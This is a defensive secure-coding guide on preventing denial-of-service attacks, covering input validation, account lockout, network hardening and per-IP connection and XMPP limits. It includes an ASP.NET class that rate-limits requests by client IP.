Denial of Service In web applications, external input always comes from an untrusted source. In a denial-ofservice (DOS) attack, an attacker attempts to prevent legitimate users from accessing information or services. By targeting the computer and its network connection, or the computers and network of the sites one is trying to use, an attacker may be able to prevent legitimate user from accessing email, web sites, online accounts (banking, etc.), or other services that rely on the affected computer. In a distributed denial-of-service (DDOS) attack, an attacker may use your computer to attack another computer. By taking advantage of security vulnerabilities or weaknesses, an attacker could take control of your computer. He or she could then force your computer to send huge amounts of data to a web site or send spam to particular email addresses. The attack is "distributed" because the attacker is using multiple computers, including yours, to launch the denial-of-service attack. Related Attacks Buffer Overflow attack, Smurf, ping of death, teardrop, SYN attack, Fraggle attack, Bandwidth depletion attack. General Rules An attacker may be able to crash application or middleware components using buffer overflow style attacks. Following are the best practices need to be followed to prevent application from DOS attacks: 1. Sufficient Input Validation

Validation must be applied to all forms of input originating from outside of the "trust boundary" regardless of its source. Validate all data that comes from the user. This includes: form data, URL parameters, cookies and HTTP headers. Keep in mind that fields such as

dropdown lists, combo box options, hidden fields, radio buttons and checkboxes can be tampered with by malicious users. 2. Use generic error messages

Never display the error source or any other internal error codes to the user. If your application framework allows the option, always disable detailed error messages. When a user enters an incorrect username and/or password, the application should respond with a generic error message stating that the information entered was incorrect. If the application explicitly states which component of the username/password pair was incorrect then an attacker can automate the process of trying common usernames from a dictionary file in an attempt to enumerate the users of the application. 3. Account Lockout

In order to mitigate dictionary attacks, many applications implement an account lockout procedure to freeze a users access should they make too many failed login attempts. The lockout facility is designed to deny access to users performing illegal operations, or who are suspected of malicious intent. 4. Session ID Validation

The generation of session IDs and the resources used to manage sessions can often be overwhelmed if an attacker has the ability to generate a large number of session IDs. Proper session management should be implemented. Protecting a network and systems from DOS attacks following points should taken care be 5. Designing the network and systems for survivability o The generation of session IDs and the resources used to manage sessions can often be overwhelmed if an attacker has the ability to generate a large number of session IDs. Proper session management should be implemented. o Overprovision as much as possible. Have more capacity than you need on a typical day to the extent permitted by your constraints of time, money, resources, or complexity. o Minimize your "target cross-section": a well- implemented network can present a small target to attackers by limiting publicly visible systems and services to the minimum required to meet the business needs of the organization. 6. Separate Critical Services o Separating public services from private services. o Splitting Internet, extranet, and intranet services. o Dividing n-tier architectures into their components: web servers, application servers, database servers, and so on. o Using single-purpose servers for each service (SMTP, HTTP, FTP, DNS, and others). 7. Disable unneeded services

As an example of the "principle of least privilege," all services that are not expressly required for business operations should be disabled. 8. Hide the internals of your network

In many situations, there is little need for external users to be able to gather information about internal network configurations. Use of split-DNS, Network Address Translation (NAT), and blocking ICMP messages at the network edges can be effective methods to reduce the leakage of internal configuration details to the outside world. 9. Filter all non-essential traffic as close to the source as possible

By dropping unneeded traffic as early as possible in a network, the impact of a DOS attack may be limited to the edges of the network. When done properly, traffic filtering can help protect your systems from being overloaded by intercepting the attack upstream, and it can limit the risk of attackers using your systems5 for an attack on another site. 10. Use multiple operating systems to create "biodiversity"

Most worms, viruses, and DOS tools target specific operating systems. Using multiple operating systems may aid survivability in the event of an operating-system-specific attack. 11. Create an incident response plan o Document standard operating procedures that include information on how to proceed during an incident, how to recover, how to protect against future occurrences, and what tools will be used to assist with these activities. o Define policies for protecting sensitive information and for sharing information with various parties"other sites involved in the incident, other incident response teams, and so on. o Identify points of contact, both inside and outside your organization. Ensure that those responsible for system and network administration and for incident response know whom to call and under what conditions. o Define who has hands-on responsibility for dealing with system administration and auditing, and incident response. Define their limits of authority and guidelines for acting in an emergency without consulting a superior./li> o Create guidelines for setting priorities among incidents and setting priorities on action items connected to a single incident. 12. Limit the no of connections from same IP at a time

Limiting the number of connections that a server will accept from a given IP address at any one time. Such a limit may help to prevent automated processes from exhausting the server's resources (such as available ports or XML parser processing resources). 13. Limit the no of connection attempts

Limiting the number of connection attempts (via the TCP binding specified in RFC 3920 or via the BOSH [6]) that a server will accept from a given IP address in a given time period. Such a limit may help to prevent automated processes from exhausting the server's resources (such as available ports or XML parser processing capacity).

14.

Limit the no of authentication attempts

Limiting the number of authentication attempts for a given Jabber ID in a given time period. While such a limit may seem beneficial, in fact it might result in locking out the legitimate owner of a Jabber ID if a malicious entity attempts a large number of illegitimate authentication attempts for the Jabber ID; therefore such a limit is not recommended except as described in Section 7.3.5 of rfc3920bis [7], and it is instead recommended to limit the number of connections and connection attempts on a per-IP basis. 15. Limit the no of XMPP resource identifiers

Limiting the number of XMPP resource identifiers allowed to an account at any one time. This may help to prevent a rogue account from creating an unlimited number of sessions and therefore exhausting the resources of the server's session manager. 16. Limit the absolute size of XML stanzas accepted by server o Limiting the absolute size in bytes of XML stanzas accepted by the server, or of particular aspects of an XML stanza (e.g., attribute values, element names, XML character data). Limits on particular aspects of an XML stanza are probably not needed, as long as it is possible to limit the absolute size of each XML stanza, since such a limit may help to prevent exhaustion of server resources (e.g., XML parser processing capacity). o Limiting the number of bytes or XML stanzas that a server will accept over a given TCP connection or for a given JabberID in a given time period. Such a limit, which helps to prevent rogue accounts or hijacked clients from flooding the server, is common in existing XMPP server implementations and often goes by the name "karma". o Limiting the number of XML stanzas that a connected client may send to different recipients in a given time period. Such a limit may help to prevent automated processes (e.g., bots) from sending unsolicited bulk communications (known in the instant messaging domain as "spim").

17.

Restricting access to services

Restricting access to services (such as multi-user chat and publish-subscribe) that enable traffic amplification. Language Specific-Rules ASP.NET A simple way for preventing denial of service attack is to remember how many requests are coming from a particular IP is to record a caller"s IP in the ASP.NET cache and count the requests per IP. When the count exceeds a predefined limit, reject further requests for a specific duration, say 10 minutes. After 10 minutes, allow requests from that IP again. The ActionValidator class maintains a count of specific actions such as first visit, revisit, asynchronous postbacks, adding a new widget, adding a new page, etc. It checks whether the count for a specific IP exceeds the threshold value or not. The following code shows the

enumeration that contains the type of actions to check for and their threshold value for a specific duration, which is 10 minutes ASP Code Snippets Code for preventing denial of service attack public static class ActionValidator{ private const int DURATION = 10; // 10 min period public enum ActionTypeEnum { FirstVisit = 100, // The most expensive one, choose the value wisely ReVisit = 1000, // Welcome to revisit as many times as the user likes Postback = 5000, // Not much of a problem AddNewWidget = 100, AddNewPage = 100, } } A static method named IsValid does the check. It returns true if the request limit is not passed and false if the request needs to be denied. Once you return false, you can call Request.End( ) and prevent ASP.NET from proceeding further. public static bool IsValid( ActionTypeEnum actionType ){ HttpContext context = HttpContext.Current; if( context.Request.Browser.Crawler ) return false; string key = actionType.ToString( ) + context.Request.UserHostAddress; var hit = (HitInfo)(context.Cache[key] ?? new HitInfo( )); if( hit.Hits > (int)actionType ) return false; else hit.Hits ++;

if( hit.Hits == 1 ) context.Cache.Add(key, hit, null, DateTime.Now.AddMinutes(DURATION),

System.Web.Caching.Cache.NoSlidingExpiration, System.Web.Caching.CacheItemPriority.Normal, null); return true; } The cache key is built with a combination of action types and client IP addresses. It first checks if there"s any entry in the cache for the action and the client IP. If not, start the count and remember it for the IP cache for the specific duration. The absolute expiration on a cache item ensures that after the duration, the cache item will be cleared and the count will restart. When there"s already an entry in the cache, it will get the last hit count and check if the limit has been exceeded. If not, then the counter will be increased. There is no need to store the updated value in the cache again by calling Cache[url]=hit; because the hit object is determined by reference, it is changed in the cache every time as well. In fact, if you put it in the cache again, the cache expiration counter will restart and fail the logic of restarting count after specific duration. protected override void OnInit(EventArgs e){ base.OnInit(e); // Check if revisit is valid or not // Block cookie less visit attempts

if( !base.IsPostBack ) { if( Profile.IsFirstVisit ) {

if( !ActionValidator.IsValid(ActionValidator.ActionTypeEnum.FirstVisit))

Response.End( ); } else { if( !ActionValidator.IsValid(ActionValidator.ActionTypeEnum.ReVisit) ) Response.End( ); } } else {// Limit number of postbacks if( !ActionValidator.IsValid(ActionValidator.ActionTypeEnum.Postback) ) Response.End( );

} } Recommendations o Keep an audit trail that describes what was changed and why. o Create interdepartmental Standard Operating Procedures (SOPs) and Emergency Operating Procedures (EOPs). o Network monitoring isn't enough; your administrators must know your configuration in detail. o Keep people aware of old configurations and their purpose. o Know the trade-offs between simplicity, cost, and survivability. Refrences 1. Common Objects o Application Denial of Service: https://www.owasp.org/images/d/da/OWASP_IL_7_Application_DOS.pdf o Denial-of-Service Attacks - Chronology and Recurring Patterns: http://www.cs.pitt.edu/~adamlee/courses/2009sp/cs2530/lectures/DoS.pdf 2. Examples o Code for Preventing Denial of Service (DOS) Attacks in ASP.NET http://www.beyondweblogs.com/post/Code-for-Preventing-Denial-of-Service(DOS)-Attacks-in-ASPNET.aspx o Securing ASP.NET Health Monitoring: http://msdn.microsoft.com/en-us/library/ms228045(VS.80).aspx